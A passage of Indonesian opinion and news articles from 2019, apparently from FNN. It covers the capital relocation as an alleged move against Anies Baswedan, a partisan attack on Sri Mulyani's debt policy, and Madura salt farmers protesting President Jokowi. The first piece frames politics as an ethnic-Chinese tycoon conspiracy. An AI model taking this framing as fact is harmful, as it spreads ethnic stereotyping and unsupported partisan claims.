tidak dimiliki oleh provinsi lain. Status dan kewenangannya berbeda dengan gubernur daerah lainnya. Termasuk bila dibandingkan dengan Daerah Istimewa Yogyakarta, maupun Daerah Istimewa Aceh. Tak heran Basuki Tjahja Purnama (Ahok) ketika menjadi gubernur DKI pernah mengklaim, posisinya setara dengan menteri. Dengan pemindahan ibukota, maka Anies akan kehilangan semua keistimewaan itu. Statusnya sama dengan kepala daerah lain. Jakarta kemungkinan juga akan dipecah-pecah menjadi beberapa daerah tingkat dua. Posisi walikota dan bupatinya menjadi lebih otonom. Sebagai gubernur, secara berkala Anies harus berurusan dengan kementerian di Ibukota. Statusnya menjadi “orang daerah” yang lapor ke pusat. Jadi pemindahan ibukota ini menjadi semacam kudeta tidak berdarah terhadap Anies. Kedua, dari sisi Ahok, sekutu dekat Jokowi. Pemindahan ibukota menghidupkan kembali mimpi lamanya menjadi penguasa di ibukota. Dia tak perlu menjajakan diri menjadi Walikota Surabaya, atau Gubernur NTB. Secara kalkulasi politik, sebelum Pilkada DKI 2017 langkah Ahok sebagai Gubernur DKI (2017-2022) nyaris tak terbendung. Namun gegara tersandung penistaan agama, semuanya berubah total. Ahok dikalahkan Anies. Eksperimen dan skenario politik etnis Cina yang disokong penuh oleh para taipan, menjadi berantakan. Andai saja dia memenangkan Pilkada DKI 2017, besar kemungkinan Ahok akan digandeng Jokowi sebagai cawapres. Bukan Ma’ruf Amin. Dengan posisi sebagai wapres, peluang Ahok mencalonkan diri sebagai presiden pada Pilpres 2024 terbuka lebar. Sayang eksperimen dan skenario politik yang berjalan sangat mulus, hasilnya sudah berada di depan mata itu, tiba-tiba menjadi berantakan. Anies yang menjadi Gubernur DKI. Dialah sekarang yang paling berpeluang menjadi kandidat presiden. Bukan Ahok. Karena itu langkah Anies harus segera dibendung. Potong di tengah jalan. Ketiga, dari kepentingan para taipan dan pengembang. Pemindahan ibukota membuka peluang para taipan dan pengembang raksasa untuk kembali menguasai lahan di jantung ibukota. Mereka sudah lama menimbun harta karun. Tinggal menggalinya. Sebagian besar dari mereka sudah menguasai lahan yang akan menjadi ibukota baru. Di Jakarta lahan sudah habis mereka kapling. Sebagian mulai menggarap daerah pinggiran, seperti Lippo di Karawaci, dan Meikarta. Atau kelompok Ciputra dan Sinar Mas yang menguasai kawasan Serpong. Tentu hasilnya tidak segurih bila menguasai lahan di jantung ibukota seperti dinikmati kelompok Agung Podomoro, Agung Sedayu, Artha Graha Group Dll. Bisnis reklamasi yang mereka kembangkan di Pantai Utara Jakarta gagal total. Proyek bernilai ratusan trilyun itu izinnya dibatalkan Anies. Padahal di masa Jokowi dan Ahok semuanya berjalan mulus. Kemarahan dan kebencian mereka kepada Anies, sampai ke ubun-ubun. Eksperimen politik mereka menguasai Indonesia. Menyatukan penguasaan ekonomi dan politik di satu tangan, gagal di tengah jalan. Keuntungan ratusan trilyun mereka tenggelam pula di laut Utara Jakarta. Karena itu pemindahan ibukota sudah sangat mendesak. Tak bisa ditunda-tunda lagi. Kompensasi bagi para taipan yang selama ini mendukung Jokowi harus segera ditunaikan. Seperti pernah disampaikan oleh Ahok saat menjadi Gubernur DKI, Jokowi tidak akan bisa menjadi presiden, tanpa bantuan pengembang. Jelas itu tidak gratis. Fakta bahwa pemerintah tidak punya dana cukup dari APBN, itu bukan masalah besar. Justru disitulah kata kuncinya. Konsorsium para taipan dan pemerintah Cina pasti dengan senang hati menyediakan dananya. Apalagi seperti dikatakan Menteri PPN/kepala Bappenas Bambang Soemantri Brojonegoro pemerintah akan seminimal mungkin menyediakan anggaran untuk pembangunan ibukota baru. Semuanya mengandalkan swasta, dengan skema availability payment. Swasta yang membangun dan pemerintah sebagai pemilik lahan, menyewa. Setelah masa konsesi selesai selama 20 tahun, gedung itu akan menjadi milik pemerintah. Skema ini mirip dengan BOT (Build Operate Transfer). Bedanya skema ini lebih pasti. Dana pengembang pasti akan kembali. Pemerintah dipastikan akan menyewanya. Sementara pada BOT, si pengembang menawarkan sewa ke pihak lain, atau memanfaatkan gedung itu sendiri. Pengembang mana yang tidak berjingkrak girang mendapat rezeki nomplok semacam itu? Tapi tunggu dulu. Itu skenario penguasa. Skenario para taipan. Belum tentu bisa terwujud. Kalau boleh menyarankan. Belajarlah dari Jakarta. Belajarlah dari kekalahan Ahok. Tidak semua skenario yang dirancang dengan sangat sempurna, akan berhasil. Ada campur tangan “kekuatan” lain. Kekuatan di luar kemampuan manusia. Kekuatan berupa takdir. Juli 2016 Anies Baswedan dicopot sebagai Mendikbud. Kalau melihat kinerja Anies tak ada alasannya bagi Jokowi mereshufflenya. Kabarnya justru performance Anies yang mencorong menjadi penyebabnya. Dia menjadi ancaman bagi Jokowi. Matahari kembar. Kurang dari setahun kemudian, pada April 2017 Anies terpilih menjadi Gubernur DKI. Dengan posisi itu dia malah semakin bersinar terang. Di Jakarta benar-benar muncul dua matahari. Yang satu di Jalan Merdeka Utara (istana), dan satunya lagi di Jalan Merdeka Selatan (Balaikota DKI). Jangan-jangan “pemecatan” Anies jilid II dengan cara memindahkan ibukota, justru malah akan membuka takdirnya terpilih menjadi kepala negara. Tak ada yang pernah tahu perjalanan hidup dan takdir seseorang. Berhati-hati lah. End

Sri, Indonesia Krisis. Swear!

Di tangan Sri yang pejuang neolib sejati, APBN dia susun untuk menyubsidi investor pasar uang. Sementara rakyat yang telah bekerja ekstra keras dipajaki habis-habisan. Sudah begitu pajak yang diperas dari keringat rakyat, diutamakan alokasinya untuk membayar kupon surat utang yang bunganya terlalu tinggi. Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - Bukan Sri Mulyani kalau tak jago berkelit. Perempuan yang dua kali didapuk menjadi Menteri Keuangan (era Presiden SBY dan Jokowi) ini benar-benar ngeyel. Berkali-kali dia menyatakan ekonomi Indonesia aman-aman saja, jauh dari terjangan krisis. Sri juga bolak-balik mengklaim APBN dikelola dengan prudent alias hati-hati. Namun pada saat yang sama, dia terus menumpuk utang berbunga tinggi dalam jumlah superjumbo dengan segala konsekwensi dan risiko yang amat mengerikan. Data Bank Indonesia (BI) menunjukkan total utang luar negeri (ULN) Indonesia sampai akhir triwulan II 2019 tercatat US$ 391,8 miliar. Dengan kurs BI hari ini, Senin (2/9) yang Rp 14.190, utang tersebut setara dengan Rp 5.556 triliun. Angka ini tumbuh 10,1% (year on year /yoy), lebih tinggi dibandingkan dengan pertumbuhan periode yang sama tahun sebelumnya yang 8,1%. Yang membuat tambah miris, utang-utang itu dibuat dengan bunga yang dikerek tinggi-tinggi. Berikut contoh tujuh surat utang bertenor dua tahun yang dia terbitkan. Yaitu, SBR006 (7,95%), ST004 (7,95%), SBR005 (8,15%), ST003 (8,15%), ST002 (8,55%), SBR004 (8,55%), dan SBR003 (8,55%). Padahal bila mengacu pada kurva yield untuk surat utang SBR003-006 tenor 2 tahun untuk periode Mei 2018, Sept 2018, Januari 2019 dan April 2019, Sri yang sangat disukai kreditor asing itu menawarkan bunga/kupon 1%-1,9% lebih tinggi. Begitu juga untuk surat utang ST002-004 yang seharusnya besar bunganya mengambang (floating). Bila mengikuti kurva yield Juli 2019 di 6,2% terjadi kelebihan membayar bunga sebesar 1,7% hingga 2,23%. Bahkan jika dibandingkan dengan Vietnam dan Thailand yang rating-nya lebih rendah ketimbang Indonesia, angka kelebihan bunga itu mencapai 3%. Dengan peringkat yang lebih bagus, semestinya bunga utang yang kita bayar lebih rendah daripada Vietnam dan Thailand. “Karena perilakunya yang terus-menerus menyenangkan kreditor walau menyengsarakan rakyat, Sri lebih pas disebut sebagai Menkeu Terbalik, bukan menkeu terbaik,” ujar ekonom senior Rizal Ramli. Rp 317,7 Triliun Lebih Mahal RR, begitu mantan anggota tim Panel Ahli Perserakitan Bangsa Bangsa biasa disapa, memaparkan sebagai Menkeu SBY, 2006-2010, Sri menerbitkan bond senilai Rp454,9 triliun. Rinciannya, Fixed Coupon Rp 281,8 triliun, Variable Coupon Rp25,6 triliun, Fixed Coupon (Islamic) Rp 25,7 triliun, dan Fixed Coupon (non tradable) Rp 121,7 triliun. Dengan yield kemahalan, beban yang harus ditanggung rakyat akibat ulah perempuan ini mencapai Rp 199,7 triliun. Sedangkan di era Jokowi (2016-2019), dia menerbitkan bond senilai Rp790,7 triliun. Masing-masing Fixed Coupon sebesar Rp 461 triliun, Zero Coupon Rp 49,1 triliun, Zero Coupon (Islamic) Rp 22,1 triliun, Fixed Coupon (Islamic) Rp 240,9 triliun, Variabel Coupon (non tradeble) Rp 10,7 triliun dan Fixed Coupon (non tradeble) sebesar Rp 7 triliun. Yiled kemahalan ini menambah beban rakyat dari yang semestinya sebesar Rp 118 triliun. Total jenderal, kelebihan bayar bunga utang itu mencapai Rp 317,7 triliun. Di tangan Sri yang pejuang neolib sejati, APBN dia susun untuk menyubsidi investor pasar uang. Sementara rakyat yang telah bekerja ekstra keras dipajaki habis-habisan. Sudah begitu pajak yang diperas dari keringat rakyat, diutamakan alokasinya untuk membayar kupon surat utang yang bunganya terlalu tinggi. Data yang ada menunjukkan, hingga Juni 2019 pembayaran bunga utang mencapai Rp 127,1 triliun. Angka ini naik 13% ketimbang periode yang sama tahun sebelumnya. Sebaliknya, subsidi untuk keperluan dasar rakyat cuma kebagian Rp 50,6 triliun atau turun 17%. Dengan angka-angka seperti ini, Sri telah ibarat demang yang memeras rakyat demi menyenangkan penjajah Belanda yang jadi majikan asingnya. Sikap inlander Sri yang creditors first membuat sebagian besar anggaran APBN tersedot untuk membayar utang. APBN 2019 mengalokasikan pembayaran pokok utang sebesar Rp 400 triliun. Ditambah dengan pembayaran bunga yang Rp 249 triliun, maka total beban utang mencapai Rp 649 trilliun. Angka ini sekitar 150% anggaran infrastruktur maupun anggaran pendidikan yang sekitar Rp 400-an triliun. Makro-Mikro Merah Sri juga sering ngeles dengan mengatakan ekonomi kita aman-aman saja. Pada saat yang sama fakta dan data menunjukkan terjadinya deindustrialisasi yang dampak langsungnya adalah pemutusan hubungan kerja. Sejumlah indikator makro dan mikro jelas-jelas menunjukkan ekonomi kita sama sekali tidak aman-aman saja, sebagaimana yang sering diklaim Sri. Defisit Neraca Pembayaran (Current Account Deficit/CAD) hingga triwulan II-2019 menunjukkan angka US$ 8,4 miliar. Jumlah ini naik dibandingkan triwulan pertama yang US$ 7 miliar. Artinya, hanya dalam tempo tiga bulan, CAD membengkak US$ 1,4 miliar. Indikator merah lainnya, juga terjadi pada neraca perdagangan yang defisit. Pada triwulan pertama 2019, defisitnya tercatat US$ 1,450 miliar. Pada kwartal II, defisit naik menjadi US$ 1,870 miliar. Kinerja ekspor nonmigas juga melorot seiring perekonomian dunia yang melambat dan harga komoditas ekspor Indonesia yang turun. Ekspor nonmigas tercatat US$ 37,2 miliar, turun dibandingkan triwulan sebelumnya sebesar US$ 38,2 miliar. Defisit neraca perdagangan migas juga meningkat menjadi US$ 3,2 miliar. Padahal, pada triwulan sebelumnya defisit itu masih U$ 2,2 miliar. Salah satu parameter sukses-tidaknya Menkeu adalah rasio pajak alias tax ratio. Ternyata, tax ratio juga terus terjun. Pada 2010, rasio pajak tercatat 9,82%. Sampai 2018, angkanya melorot menjadi 8,85%. Kalau dihitung termasuk pendapatan bea cukai dan royalti Migas-tambang, angkanya bergerak dari 14,66% pada 2011 menjadi 11,45% di 2018. Perlambatan penerimaan perpajakan ini membuat Sri uring-uringan. Pasalnya, kontribusi pajak terhadap penerimaan negara mencapai hampir 80%. Sampai akhir Juli 2019, pajak yang masuk Rp 810,7 triliun atau 45,4% dari target APBN. Terus terjunnya penerimaan pajak inilah yang membuat Sri kalap dan kalang-kabut. Maka, dia pun memajaki pempek palembang, pecel lele, gado-gado, dan UMKM. Padahal, sebelumnya UMKM sudah kena pajak final 0,5% dari omset, tidak peduli usaha rakyat kecil ini menangguk laba atau diterjang rugi. Tetap Jemawa Kendati sudah babak-belur dihajar angka-angka rapor yang merah, toh perempuan itu tetap saja berkoar Indonesia masih jauh dari krisis. Tidak tanggung-tanggung, sikap jumawa ini dia sampaikan saat rapat kerja dengan Komisi XI DPR RI, Kamis (29/8). Saat itu Sri menegaskan kendati Indonesia harus waspada, itu tidak berarti bahwa krisis sudah di ambang pintu. Padahal, tiga hari sebelumnya saat menggelar konferensi pers APBN Kita, Senin (26/8), dia mengakui bahwa ekonomi dunia telah melemah dan risikonya bakal makin meningkat. Kondisi ini terkonfirmasi dalam statement atau indikator sesudah eskalasi pada Juli Agustus. Pengakuan Menteri Sri ini adalah kali kedua dalam bulan ini. Menurut dia, perlambatan ekonomi dunia ditandai dengan bertaburnya data ekonomi di berbagai negara terus membuat cemberut. Jerman, Singapura, negara-negara Amerika Latin seperti Argentina, Meksiko, Brasil dalam situasi sulit. Eropa dan China pun mengalami hal sama. Bahkan kawasan Asia, termasuk India, yang jadi lokomotif penghela ekonomi di pasar berkembang juga melemah. Tapi dasar kopeg, babak-belurnya perekonomian dunia justru membuatnya bertepuk dada.. Katanya, di tengah perekonomian dunia yang lesu, Indonesia masih bisa tumbuh 5%. Kalau saja dia mau sedikit humble, tentu pernyataan seperti itu tak bakalan keluar dari mulutnya. Terlebih lagi dengan potensi yang ada dan menanggalkan kebijakan ekonomi non neolib, seharusnya Indonesia bisa terbang di 6,5-7%. Setidaknya, begitulah jualan Jokowi waktu maju di ajang Pilpres 2014. Sebelumnya, Rizal Ramli berkali-kali memperingatkan ekonomi kita jauh dari baik-baik saja. Berdasarkan rentetan indikator yang memburuk, dia menyebut Indonesia tengah mengalami the creeping crisis, krisis yang merangkak. Seabrek indikator makro dan mikro yang disorongkannya memang dengan fasih bercerita ekonomi Indonesia terseok-seok, kalau tidak mau disebut amburadul. Tutupnya sejumlah gerai penyandang nama besar, adalah bukti melemahnya kinerja sektor ritel yang diperkirakan masih akan berlanjut. Daya beli dan consumer goods juga masih akan turun. Pukulan telak dialami sektor properti, kecuali untuk beberapa segmen. Indeks Nikkei menyebut sekitar seperempat perusahaan yang melantai di BEI telah berubah jadi zombie company. Keuntungan yang mereka terima tidak cukup untuk membayar utang. Perusahaan ini hanya bisa hidup dengan refinancing terus menerus. Gejala gagal bayar utang alias default juga melanda sejumlah perusahaan besar. Seperti tidak cukup, McKinsey & Company menyebut 25% utang valas jangka panjang swasta kita memiliki rasio penutupan bunga (interest coverage ratio /ICR) kurang dari 1,5 kali. Artinya, perseroan menggunakan mayoritas labanya untuk membayar utang. Jelas rawan. Jadi, Sri, ekonomi kita tidak sedang baik-baik saja. Data dan fakta seperti apalagi yang bisa membuka mata-hatimu? [*]

Menteri Sri Akhirnya Ngaku Krisis Telah Datang

Sri Mulyani memprediksi makin panasnya tensi perang dagang antara AS dan China dipastikan memperbesar sinyal krisis. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Ekonomi dunia kini diselimuti kondisi pahit. Sebagian negara telah mengalami krisis. Di sisi lain, ekonom senior Rizal Ramli menyebut Indonesia berada dalam tahap creeping crisis atau sedang “merangkak” untuk sampai pada kondisi krisis. Ekonom lainnya menyebut Indonesia amat rentan terhadap krisis. Menteri Keuangan, Sri Mulyani Indrawati, tak bisa menampik itu. Ia bilang ekonomi dunia telah terkonfirmasi melemah dan risikonya bakal makin meningkat. "Kondisi ekonomi dunia confirm melemah dan ini risikonya bahkan makin meningkat. Ini muncul di dalam statement atapun indikator sesudah eskalasi pada Juli Agustus," katanya dalam Konferensi Pers APBN Kita, Senin (26/8). Pengakuan Menteri Sri ini adalah kali kedua dalam bulan ini. Hanya saja, pengakuan ini bukan sebagai peringatan apalagi nakut-nakuti, seperti pernyataan beberapa ekonom belakangan ini. Sri membeberkan itu semua untuk membanggakan bahwa di tengah krisis dunia saja ekonomi Indonesia masih tumbuh 5%. “Indonesia terjaga di 5% ini accepsional,” tandasnya. Jadi bersyukurlah, ekonomi masih tumbuh 5%. Jangan kufur nikmat, seperti apa yang dibilang Presiden Joko Widodo beberapa waktu lalu. Menurut menteri Sri, hawa perlambatan ekonomi dunia semakin terasa. Data-data ekonomi di berbagai negara terus saja mengecewakan. Dia menyebut, Jerman, Singapura, negara Amerika Latin seperti Argentina dalam masa krisis. Meksiko, Brasil, juga dalam situasi sulit. “Amerika Latin, Eropa, China, dan bahkan kawasan Asia sendiri termasuk India yang jadi motor penggerak ekonomi di pasar berkembang juga mengalami pelemahan," ujarnya. Rentan Krisis Ekonom senior Indef, Didik J. Rachbini, memperingatkan Indonesia termasuk negara yang rentan terhadap krisis. “Setidaknya bila dibandingkan dengan negara tetangga seperti Vietnam dan Malaysia,” katanya, dalam diskusi ASEAN di antara perang dagang Amerika dan China: Bagaimana Seharusnya Respons Indonesia?, Minggu (25/8) Dalam materi diskusi yang berjudul “Dimensi Kritis dari Ekonomi Indonesia Dibandingkan Ekonomi ASEAN”, Didik antara lain mengulas soal 'Menghadapi Resesi Global'. Ia mengutip Bloomberg Vulnerability Indek, atau indeks kerentanan suatu negara. "Vietnam dan Malaysia termasuk ke dalam level yang sama tetapi sedikit lebih rendah dan mempunyai struktur ekonomi yang lebih kuat daripada Indonesia," jelasnya. Cadangan devisa, ekspor, dan industri Vietnam dan Malaysia relatif lebih kuat sehingga lebih tahan terhadap krisis. Belajar dari krisis nilai tukar 1997-98 dari Thailand, ada dua kelompok negara dalam konteks krisis. Kelompok pertama adalah kelompok yang rentan dan terkena imbas krisis nilai tukar, yaitu: Thailand, Malaysia, Filipina, Korea Selatan, dan Indonesia. Kelompok kedua adalah negara yang kuat dan tahan krisis nilai tukar, yaitu Taiwan, Hong Kong, Singapura dan lainnya. Kelompok yang pertama mengalami defisit neraca berjalan (CAD) dan kelompok kedua tidak mengalaminya. Level CAD Indonesia kini memang dalam tren terus membengkak, bahkan sudah menyentuh 3% terhadap PDB. Sedangkan Thailand sebagai negara yang pernah mengalami krisis 1998, yang sama juga dialami oleh Indonesia berhasil lolos dari penyakit CAD. Sebelumnya, Rizal Ramli memperingatkan grafik transaksi berjalan semakin merosot, bahkan sudah mencapai lebih dari US$8 miliar. Kondisi CAD pada kuartal II-2019 sebesar US$8,4 miliar atau 3,04% dari produk domestik bruto (PDB). Angka ini adalah angka yang mengkhawatirkan. Indikator mikro juga tak kalah membahayakan. Seperti slow down sektor ritel yang diprediksi akan terus berlanjut. Daya beli dan consumer good juga masih akan turun. Begitu pun dengan properti yang diprediksi akan terpuruk, kecuali untuk beberapa segmen. Kemudian di level korporasi, mulai terjadi peningkatan default atau gagal bayar. Ini diistilahkan sebagai zombie company. Keuntungan yang diperoleh tidak bisa untuk membayar bunga utang. “Perusahaan ini hanya bisa hidup dengan refinancing terus menerus,” kata eks Menteri Koordinator Bidang Kemaritiman ini. “Ada krisis kecil-kecil dan tidak disadari banyak orang, tetapi kalau disatukan jadi besar juga. Ini bisa dilihat dari kondisi makro, mikro, maupun korporasi. Kalau dibiarkan terus, bisa sangat membahayakan,” tambahnya. Di sisi lain, dalam laporan berjudul "Signs of Stress in The Asian Financial System", firma konsultan global McKinsey & Company menemukan bahwa 25% utang swasta valas jangka panjang di Indonesia memiliki rasio penutupan bunga (interest coverage ratio/ICR) kurang dari 1,5 kali. Posisi tersebut terhitung rawan karena perseroan menggunakan mayoritas labanya untuk membayar utang. Utang itu kebanyakan berasal dari sektor utilitas (pembangkit listrik dan jalan tol), dengan porsi 62%. Sektor energi dan bahan mentah menyusul dengan porsi 11% dan 10%. Lebih jauh, konsultan ini mengingatkan negara-negara Asia perlu mewaspadai risiko terulangnya krisis 1997. McKinsey mengingatkan sektor utilitas Indonesia dan India berpotensi memicu persoalan karena kemampuan mereka untuk membalik kinerja dan membayar kembali utangnya tidaklah mudah. Sementara itu, di belahan dunia lain, Eropa, sepanjang tahun 2019, berbagai bank investasi global telah mengurangi jumlah karyawannya hingga 30.000 orang. Beberapa bank yang melakukan pengurangan karyawan di antaranya adalah HSBC, Barclays, Société Générale, Citigroup dan Deutsche Bank. Lembaga keuangan asal Jerman Deutsche Bank bahkan memangkas jumlah karyawannya lebih dari setengah total karyawan yang di PHK, yaitu sebanyak 18.000 orang di seluruh dunia. Menurut laporan Financial Times, PHK massal ini disebabkan oleh berbagai alasan. Mulai dari penurunan suku bunga, volume perdagangan yang lemah, hingga efisiensi biaya operasional. Alasan lainnya adalah meningkatnya utang. Padahal, suku bunga saat ini negatif. Sri Mulyani memprediksi makin panasnya tensi perang dagang antara AS dan China dipastikan memperbesar sinyal krisis. Apalagi tensi adu pernyataan kedua negara adi kuasa tersebut makin mendidih beberapa hari terakhir. "Tren besar di semua negara di dunia mengalami pelemahan. Ada negara lain yang masuk bahkan (sudah) resesi," ujarnya. End

Presiden Lupakan Sejarah, Jangan Hina Garam Madura!

Presiden Joko Widodo telah memancing kemarahan petani garam Madura. Setidaknya itulah yang tergambar dalam aksi demonstrasi petani garam di depan DPRD Sumenep pada Jum’at (30/8/2019). Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Massa yang tergabung dalam Himpunan Masyarakat Petambak Garam Sumenep (HMPGS) melakukan aksi karena kecewa dengan pernyataan Presiden Jokowi saat ke Desa Nunkurus, Kupang, NTT pada Rabu, 21 Agustus 2019 lalu. Oleh petani garam, pidato Presiden Jokowi dinilai mendiskreditkan garam Madura. Warga menuntut DPRD Sumenep untuk meminta Pemerintah Pusat meminta maaf pada masyarakat Madura atas pernyataan Presiden Jokowi tersebut. Kala itu, Presiden menyebut garam Madura hitam. Warga menilai, sampel yang diperoleh Jokowi tidak sesuai dengan kualitas asli garam Madura dan meminta Jokowi untuk datang langsung ke Madura dan melihat sendiri kualitasnya. “Kami di sini sudah melakukan produksi garam dari zaman ke zaman. Kami minta cabut pernyataan Presiden Jokowi bahwa garam kami hitam,” kata Andy Ahmadi, Korlap aksi. Pernyataan itu dinilai mendiskriditkan garam Madura. Puluhan massa aksi ini meminta DPRD Sumenep keluar untuk menemui putra petambak garam yang sedang berlangsung menyampaikan aspirasi petambak garam, dan meminta untuk menyatakan sikap yang sama seperti petani garam. Bahwa tidak seperti pernyataan presiden jika garam Madura hitam tak berkualitas. “Tolong temui kami untuk menyatakan sikap dan menyurati Presiden RI bahwa garam kami katanya jelek dan bahkan hitam,” ungkap Andy Ahmadi. “Itu tidak hanya sekali, tetapi kami petambak garam Sumenep Madura telah dihina Presiden RI. Kami telah dilumpuhkan, kami telah dibunuh di negeri sendiri,” teriaknya lantang sambil menuding gedung DPRD Sumenep. Warga menyebut pemerintah pusat telah melupakan sejarah. Petani garam Sumenep itu sudah memproduksi garam, bahkan sebelum Indonesia ada sebagai negara. “Buyut kami sudah jadi petani garam dan kualitas garam kami sudah terbukti,” ungkap Sutri, salah satu peserta aksi. “Garam Madura menjadi penyuplai garam nasional adalah Madura,” teriak Sutri. Ketua DPRD Sumenep Sementara Abdul Hamid Ali Munir berjanji akan menindaklanjuti tuntutan warga tersebut. “Terjadi kesalahpahaman pernyataan yang dilakukan oleh bapak Presiden Jokowi itu bahwa garam Madura dianggap kualitasnya rendah. Saya secara pribadi menyatakan bahwa garam Sumenep itu kualitas ekspor,” tukas Hamid saat menemui massa aksi. Politisi PKB tersebut berjanji akan melakukan komunikasi berbagai pihak terkait pernyataan Jokowi ini. “Koordinasi dengan pemerintah yang ada, mulai dari provinsi hingga pusat,” janji Hamid. Garam Terbaik Sejarah mencatat, Madura pernah menjadi pemasok utama garam ke daerah-daerah yang dikuasai Belanda di seluruh nusantara. Madura ternyata tidak hanya kaya dengan sumber migasnya. Dari laut pula, Madura menjadi penghasil garam bernilai ekonomis tinggi bagi Belanda selama menjajah Nusantara. Seperti halnya Inggris di India, Belanda pernah memonopoli garam di Indonesia. Sangat ironis jika negara yang punya laut luas dan pantai terpanjang di dunia harus membeli garam dari luar negeri. Pada 1930 hal itu pernah terjadi di India. Inggris menjadi pemonopoli garam di India, dan banyak orang India menolaknya. Seperti Inggris yang memonopoli garam di India, Belanda juga melakukannya di Nusantara. Termasuk garam dari pulau garam: Madura. Seperti dicatat dalam beberapa tulisan, riwayat garam di Madura, terkait sosok Pangeran Anggasuta. Dia yang memperkenalkannya kepada orang-orang di Madura. Sebagai penghasil garam, petak-petak tambak pembuatan garam hingga kini masih terlihat di sekitar pantai-pantai Kalianget, Sumenep, Madura bagian tenggara. Pantai selatan Madura yang kering memang dianggap baik untuk produksi garam. Menurut Danys Lombard dalam bukunya Nusa Jawa Silang Budaya: Jaringan Asia (1996), “rupa-rupanya di Madura penghasilan (garam) itu tak terlalu tua”. Jika J. Crawfurd boleh dipercaya, prinsip tambak garam pada masanya itu hanya dikenal di pantai-pantai utara Jawa dan daerah Pangasinan di Pulau Luzon (Filipina). Madura tadinya tidak dianggap penting oleh pemerintah kolonial Belanda. Barulah di paruh kedua abad XIX, terutama setelah Sistem Tanam Paksa dihapus pada 1870, Madura punya nilai ekonomis besar bagi Belanda. Pulau ini, menurut Merie Ricklefs, adalah “pemasok utama garam ke daerah-daerah yang dikuasai Belanda di seluruh nusantara.” Menurut Kuntowijoyo dalam sebuah esainya di buku Radikalisasi Petani: Esei-Esei Sejarah (1993), Belanda tidak membeli garam lewat bupati. Mereka secara langsung mengawasi produksi, berhubungan langsung dengan produsen dan memonopoli pemasaran. Sebab, garam Madura jadi monopoli yang menguntungkan Belanda. Keuntungan yang seharusnya jatuh ke tangan adipati (bupati) dan jajarannya. “Dalam tahun 1852, harga jual garam adalah lebih dari tiga puluh kali harga belinya (dari petani),” lanjut Kuntowijoyo. Di bukunya yang lain, Perubahan Sosial Dalam Masyarakat Agraris Madura, 1850-1940 (2002), Kuntowijoyo menyebut “industri garam, bagaimana pun tidak menambah kesejahteraan penduduk.” Artinya, petani-petani atau kuli-kuli tambak garam tidak jauh beda nasibnya dengan kuli-kuli kebon lain di nusantara. Nasib petani garam di masa kini juga cukuplah suram. Meski garam langka, uang tidak melimpahi kantong mereka. Padahal Belanda si pemonopoli garam sudah lama angkat kaki. Namun, garam Madura kini terancam dengan garam impor asal Australia. Maduranewsmedia.com menulis (30/7/2017), petani garam Madura menolak keras adanya garam impor masuk ke Indonesia. Hal itu disebabkan, stok garam di Indonesia masih banyak, namun kenyataannya masih ada oknum yang mengimpor garam. Petani garam banyak mengeluh, mengapa pemerintah masih melakukan impor garam. Menurut petani garam, seharusnya kalau bicara stok garam di Indonesia banyak, khususmya di Madura. Jika yang langka adalah garam konsumsi, maka yang jadi konsentrasi adalah ketersediaan garam di petambak garam dan pabrikan, di pasar, dan di rumah tangga sendiri. Petani masih bertanya serta mencari tahu dulu kelangkaan garam konsumsi yang terjadi di sektor yang mana, pada pabrikan apa di rumah tangga baru bisa disimpulkan kebutuhan impor itu perlu apa tidak, mendesak apa tidak. “Karena bukan tidak mungkin, kelangkaan garam yang terjadi selama ini sengaja dibuat oleh beberapa oknum tertentu saja untuk bisa mengakses ijin impor garam luar,” kata petani garam Pamekasan, Bambang, Minggu (30/7/2018). Ditambahkan dia, Seharusnya dalam kondisi seperti ini, pihak pemerintah sudah mempunyai data tentang kebutuhan garam jangka pendek dan jangka panjang serta data stok garam pada pabrikan yang selama ini selalu melakukan impor garam. Harga garam impor akan sangat berpengaruh pada harga garam di Indonesia yang dikabarkan akan turun tajam. Dengan kondisi sekarang ini, sudah sepantasnya pemerintah berperan aktif dalam stabilisasi harga garam dengan optimalisasi peran PT Garam. Yakni, melalui Tri Fungsi, dengan menjalankan fungsi buffer seperti yang telah dilakukan secara gemilang oleh BUMN lainnya seperti Bulog, sehingga tidak hanya berfungsi untuk produksi dan pengolahan saja (dwifungsi). Garam Piramid Bupati Sumenep A. Busyo Karim mengatakan, ia pernah tergoda dengan gerakan Kampung Kearifan Nasional (KKN), sebuah ide besar Helianti Hilman, wanita peraih Master di bidang hukum dari King’s College, London, Inggris, kelahiran Jember, 1971. Wanita itu kini menekuni profesi sebagai konsultan dan pengusaha di bidang produk pangan Slow Food. Program lain yang dijalankan Slow Food adalah protecting food biodiversity atau melindungi keanekaragaman hayati bahan pangan, termasuk garam. Di Indonesia, kata Helianti, hal itu merupakan tantangan berat karena makin sedikit orang Indonesia yang peduli terhadap keanekaragaman sumber makanan. Ketika pada 1970-an, Kalianget (Sumenep) penghasil garam terbesar di Asia. Lalu, di manakah garam kita yang dulu melimpah, padahal setelah 1980-an perluasan lahan garam dilakukan besar-besaran, yang kemudian disebutnya proyek renovasi, namun ternyata kita tetap tidak juara lagi. Tapi, Garam Bali yang Berkualitas! Bupati yang akrab dipanggil Abuya itu sangat tertarik untuk memberi nilai tambah “subsidi” Tuhan yang melimpah berupa air laut yang kandungan mineralnya sangat tinggi di banyak perairan Sumenep. “Bisa dibayangkan jika lahan seluas 2.620 ha ladang garam di Sumenep yang produksinya 65.045 ton/tahun bisa digenjot lebih bagus lagi kualitas dan kuantintasnya,” ungkap Abuya dalam sebuah catatannya yang diterima Pepnews.com. Menurut Herlianti Hilman dalam risetnya, di Bali ia sanggup mengubah pola air garam yang menjadi bahan baku garam yang selama ini kita lihat dan dikonsumsi, untuk menjadi garam piramid. Garam ini menjadi garam yang kaya mineral, jauh meninggalkan garam yang diproduksi masyarakat dan perusahaan pengelola garam di Indonesia. Garam yang diproduksinya di Klungkung Bali, saat diproduksi mampu menaikkan harga garam menjadi Rp 150 ribu/kg. “Sedangkan harganya di Eropa mencapai Rp 1 juta/kg. Air bahan baku di Indonesia untuk dijadikan garam piramid sangat melimpah sekali, termasuk di Sumenep, “Sehingga bisa meningkatkan kesejahteraan masyarakat,” jelasnya. Untuk kualitas garam piramid ini, lanjut Herlianti Hilman, pesaing Indonesia hanya di negara Cyprus, karena kandungan endapan air mineralnya tak jauh beda. Lalu bandingkanlah dengan harga per 1 kg garam di Kalianget yang hanya sekitar Rp 300-500/kg. Informasi ini harus ditangkap guna menjadi penyemangat petani garam di Sumenep dalam rangka peningkatan kesejahteraannya. Tentu hal ini tak cukup melulu dari 